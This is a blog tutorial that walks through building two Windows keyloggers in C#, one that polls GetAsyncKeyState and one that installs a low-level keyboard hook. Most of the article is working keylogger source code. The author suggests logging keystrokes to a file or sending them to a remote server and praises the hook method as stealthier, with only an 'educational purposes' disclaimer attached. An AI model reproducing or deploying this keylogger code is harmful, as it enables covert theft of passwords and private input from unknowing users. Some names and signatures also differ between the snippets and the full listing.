C# Keyloggers using Windows API

0xG00FY4HH
7 min readFeb 8, 2023

--

Man wearing a red hoodie

Hey, in this article I’d like to share with you some things I’ve learned about keyloggers. I am currently learning WinAPI in C# and since they say the best way to learn something is to teach others, here we go.

What is a keylogger?

Keylogger is a malicious software or hardware(this article will be about software keyloggers, but feel free to research about the hardware ones too), which is used to log keystrokes. Its main purpose is usually to get confidental data from people, such as passwords.

Before I start explaining how to create a keylogger, I would like point out that everything I cover here is for educational purposes only, to understand how these attacks work. I am absolutely NOT encouraging anyone to use any of this without permission as it’s illegal and highly unethical.

How do we create one?

To create a keylogger, you need to somehow access the keyboard input. This can be done by many ways, the most popular two are

  1. Check each key individually whether it’s pressed or not.
  2. Create a hook which triggers an action everytime a key is pressed.

Both of those techniques are possible in Windows API. I will now try to explain how to pull off both of them, as their pros and cons. Note that what I’ll show you is the most basic form of the keylogger, and it should be extended by more functions.

Checking all keys using GetAsyncKeyState

This technique is the simplest it can get, first, we need to import the GetAsyncKeyState function from the user32.dll.

[DllImport("user32.dll")]
short GetAsyncKeyState(int vKey);

The function takes one parameter, which is the virtual-key code of the key you want to check. These codes go from 1 all the way to 254. Then it returns a short which indicates the state of the key, if it’s a negative number, it means the key is pressed, otherwise(if the value is 0), the key is not pressed.

So since we know there’s 254 different key codes, we can just make a loop which iterates through all of them and checks each key, and if the key is pressed, we’ll just output the key somewhere. Note that despite that there’s 254 key codes, a standard keyboard has less than 110 keys, so if we wanted, we could filter a lot of keys out.

So let’s write the code:

using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace SimpleKeylogger
{
internal class Program
{
public static void Main(string[] args)
{
while (true)
{
for (int i = 0; i < 254; i++)
{
short keyState = GetAsyncKeyState(i);
if (keyState < 0) // If key is pressed
{
Console.Write((Keys)i); // Cast the i value as Keys, and print it
}
}
Thread.Sleep(100); // Sleep for 100ms so the console doesn't get spammed by the same key
}
}

[DllImport(("user32.dll"))]
public static extern short GetAsyncKeyState(int vKey);
}
}

Note that you need to add a reference for System.Windows.Forms ( In Visual Studio: Project -> Add Reference -> System.Windows.Forms, in Rider: Rightclick Project -> Add -> Reference -> find and tick System.Windows.Forms and click Add.)

Pros: Really simple to create, gets the job done, well, kinda..

Cons: As it often is with simple things, it’s really bad at what it does. It doesn’t recognize upper and lower characters(you can extend the program to do this by checking if the shift key is pressed, or the caps lock was pressed), it doesn’t know if the key was just pressed or if it’s being held, so if the user holds the key for more than ~ 100ms, it just spams the key over and over. Also, it’s really “loud”, since it checks every key on the keyboard without ever stopping, until someone terminates the process.

Hooking to the keyboard using SetWindowsHookExA

This technique is a lot better and also stealthier. We will use a Windows API function called SetWindowsHookExA, coupled with a few more. It might be a little harder if you’re completely new to this, but it still should be easy to understand.

So if we take look at the SetWindowsHookExA function’s documentation, we can see that the function is a general function for creating a hook, the function looks like this:

HHOOK SetWindowsHookExA(
[in] int idHook, // Type of hook procedure
[in] HOOKPROC lpfn, // Pointer to the hook procedure
[in] HINSTANCE hmod, // A handle to the hook's DLL
[in] DWORD dwThreadId // Id of target thread
);

This is c++ format, since we’re using C#, we’ll need to modify it a bit and import using P/Invoke:

[DllImport("user32.dll")]
public static extern IntPtr SetWindowsHookExA(int idHook, HookProcedureDelegate lpfn, IntPtr hmod, uint dwThreadId);

I will explain why I changed the second variable type to HookProcedureDelegate later in this article.

The first parameter specifies the type of hook procedure we want to use, there are multiple, including but not limited to WH_KEYBOARD_LL, WH_KEYBOARD, WH_MOUSE_LL, WH_SHELL. Note that there is a BIG difference between WH_KEYBOARD and WH_KEYBOARD_LL. In this case we will only care about the WH_KEYBOARD_LL, which is a hook procedure that monitors low level keyboard input events, this is exactly what we want.

The second parameter is pointer to the function we want to execute everytime when everytime the hook gets triggered.

The third parameter is the handle of the module the function from the second parameter is in.

The fourth parameter is specifies the thread, with which the hook procedure will be associated, if we specify zero, the hook procedure will be associated with all threads.

So now that we know what the function does, let’s start writing some code.

For the first parameter, we’ll want the WH_KEYBOARD_LL:

private static int WH_KEYBOARD = 13; 
// 13 is the value from WinAPI documentation

private static int WM_KEYDOWN = 0x0100;
// 0x0100 is a value which says that a nonsystem key was pressed
// nonsystem = pressed while ALT was not pressed

For the second parameter, we need to create the procedure function, then make a delegate and assign its pointer as the parameter. Let’s start with the function:

public static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int key = Marshal.ReadInt32(lParam);
Console.Write($"[{(Keys)key}]");
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}

The function must have 3 parameters.

  • int nCode ← This variable indicates whether wParam and lParam contain valid data. If the variable is lower than zero, wParam and lParam are invalid.
  • IntPtr wParam ← Identifies the message, the values can be: WM_KEYDOWN = 256, WM_KEYUP = 257, WM_SYSKEYDOWN = 260, WM_SYSKEYUP = 261 (key = key pressed when ALT is not pressed, syskey/system key = key pressed while ALT is pressed)
  • IntPtr lParam ← Pointer to the virtual key code value.

In the code, we first check if the two values are valid (that is if nCode ≥= 0), and at the same time wParam says that a nonsystem key was pressed. Then if these requirements are met, we read the integer value from the lParam pointer, which gives us the virtual key code of the key which was pressed, and finally, we cast the value as the Keys enum (from System.Windows.Forms), and write it to the console. Note that you would probably not want to write it to console, but save it to a file or send it to some remote server. After this if statement, we just want to call the CallNextHookEx function which prevents the program to cause issues to other programs, and as the parameters assign IntPtr.Zero(this parameter was used on Win95-based systems for the HHOOK variable received when creating the hook, now it’s not used), and the next 3 parameters just will be the same as when we called the HookCallback function.

We also want to import the CallNextHookEx:

[DllImport("user32.dll")]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

Now that we have the function, we need to create a delegate for the function, this can be done like this:

public delegate IntPtr HookCallbackDelegate(int nCode, IntPtr wParam, IntPtr lParam);

And then assign the delegate inside the Main function:

HookCallbackDelegate hcDelegate = HookCallback;

The next thing we need is the last parameter, which is the module handle. For this we need a WinAPI function called GetModuleHandle:

[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

This function accepts a module name, and returns a handle to the module. To get the module name, we need to get the current process’ main module, and grab its name.

string mainModuleName = Process.GetCurrentProcess().MainModule.ModuleName;

The last parameter for the SetWindowsHookEx function will be 0.

Now we can put the function together:

IntPtr hook = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate,GetModuleHandle(mainModuleName), 0);

And the last thing we need to do for this project, is to use the Application.Run() function from System.Windows.Forms in order to make the program run forever.

Pros: A lot more reliable, a lot quieter than the previous one.

Cons: Might be slightly harder to understand at first.

In case you didn’t get something, I also included the full source code which can be found here:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace HookKeylogger
{

public class Program
{
[DllImport("user32.dll")]
public static extern IntPtr SetWindowsHookEx(int idHook, HookCallbackDelegate lpfn, IntPtr wParam, uint lParam);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

private static int WH_KEYBOARD_LL = 13;
private static int WM_KEYDOWN = 0x100;

public static void Main(string[] args)
{
HookCallbackDelegate hcDelegate = HookCallback;

string mainModuleName = Process.GetCurrentProcess().MainModule.ModuleName;
IntPtr hook = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate,GetModuleHandle(mainModuleName), 0);

Application.Run();

}

public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
Console.WriteLine($"{wParam} - {(IntPtr)wParam}");
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine($"[{(Keys)vkCode}]");
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}

public delegate IntPtr HookCallbackDelegate(int nCode, IntPtr wParam, IntPtr lParam);
}
}

I hope this article was understandable and atleast somehow easy to follow. I am not that experienced writer as this was my first article I’ve ever written, and thus I would really love if I can get some feedback from others(even negative feedback, I would really love to get some constructive criticism)

Enjoy your day :)

--

--

0xG00FY4HH

Cybersecurity enthusiast, sharing my knowledge with the community.